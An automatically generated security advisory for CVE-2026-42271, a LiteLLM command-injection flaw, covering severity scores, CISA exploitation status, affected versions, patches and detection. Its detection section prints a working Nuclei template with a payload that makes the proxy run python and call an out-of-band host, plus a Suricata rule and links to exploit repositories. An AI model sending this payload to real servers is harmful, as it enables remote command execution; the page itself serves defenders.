CVE-2026-42271: BerriAI LiteLLM Command Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it, POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list, accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user, including holders of low-privilege internal-user keys, could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.
Description quoted from the CVE record (assigned by GitHub_M, published 2026-05-08).
Weakness: CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’); CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’); Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
How it can be exploited
Exploitable over the network with low attack complexity only when specific conditions are present needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2026-06-08
- US federal deadline
- 2026-06-22
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: EUVD-2026-28507, GHSA-v4p8-mg3p-g94g, SNYK-PYTHON-LITELLM-16119122
VEDAS cluster: VEDAS:DRAGONCOMMANDER
Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (7)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2026/CVE-2026-42271.yaml
- Code repository: https://github.com/amnsecurity/cve-2026-42271-litellm-rce
- Code repository: https://github.com/learner202649/cve-2026-42271-poc
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-42271.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-42271.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-42271.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-42271.rules
Vulnerability databases and vendor advisories (8)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2026-42271
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-28507
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-v4p8-mg3p-g94g
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-42271
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-v4p8-mg3p-g94g
- Vulnerability database or vendor advisory: https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42271.json
- Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-PYTHON-LITELLM-16119122
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271
12 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.914
very likely to be attacked soon - VEDAS
- 0.985
strong exploit evidence - On CISA KEV
- Yes, since 2026-06-08
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| BerriAI litellm | version >= 1.74.2, < 1.83.7 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: litellm litellm.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://access.redhat.com/errata/RHSA-2026:28960 (vendor-advisory, x_refsource_REDHAT)
- https://access.redhat.com/errata/RHSA-2026:30056 (vendor-advisory, x_refsource_REDHAT)
- https://access.redhat.com/errata/RHSA-2026:27784 (vendor-advisory, x_refsource_REDHAT)
How to detect it
Nuclei template (active check)
LiteLLM - Command Injection
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it, POST /mcp- rest/test/connection and POST /mcp-rest/test/tools/list, accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (POST /mcp-rest/test/connection); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-42271.yamlShow the template (57 lines)
id: CVE-2026-42271
info:
name: "LiteLLM - Command Injection"
author: vedas-arpsyndicate
severity: critical
description: |
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to
before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-
rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request
body, including the command, args, and env fields used by the stdio transport.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-42271&match=exact
- https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-42271
cwe-id: CWE-77
metadata:
verified: false
tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev
variables:
payload: '{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')"]}'
http:
- raw:
- |
POST /mcp-rest/test/connection HTTP/1.1
Host: a/?x=
Content-Type: application/json
Content-Length: {{len(payload)}}
{{payload}}
unsafe: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Failed to connect to MCP server"
- type: status
status:
- 200
- type: word
part: interactsh_protocol
words:
- "http"
extractors:
- type: kval
kval:
- interactsh_ip
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-42271 LiteLLM - Command Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-42271 LiteLLM - Command Injection"; flow:established,to_server; http.uri; content:"/mcp-rest/test/connection"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-42271; reference:url,https://www.exploit.observer/?keyword=CVE-2026-42271&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact; sid:1010198; rev:1;)
CVE-2026-42271.rules on GitHub
References
Vendor advisories and patches
- https://access.redhat.com/errata/RHSA-2026:28960 (vendor-advisory, x_refsource_REDHAT)
- https://access.redhat.com/errata/RHSA-2026:30056 (vendor-advisory, x_refsource_REDHAT)
- https://access.redhat.com/errata/RHSA-2026:27784 (vendor-advisory, x_refsource_REDHAT)
Exploits and technical analysis
- RHBZ#2467924 (issue-tracking, x_refsource_REDHAT)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271 (government-resource)
Other references
- https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g (x_refsource_CONFIRM)
- https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable (x_refsource_MISC)
- https://access.redhat.com/security/cve/CVE-2026-42271 (vdb-entry, x_refsource_REDHAT)
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42271.json (x_sadp-csaf-vex)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.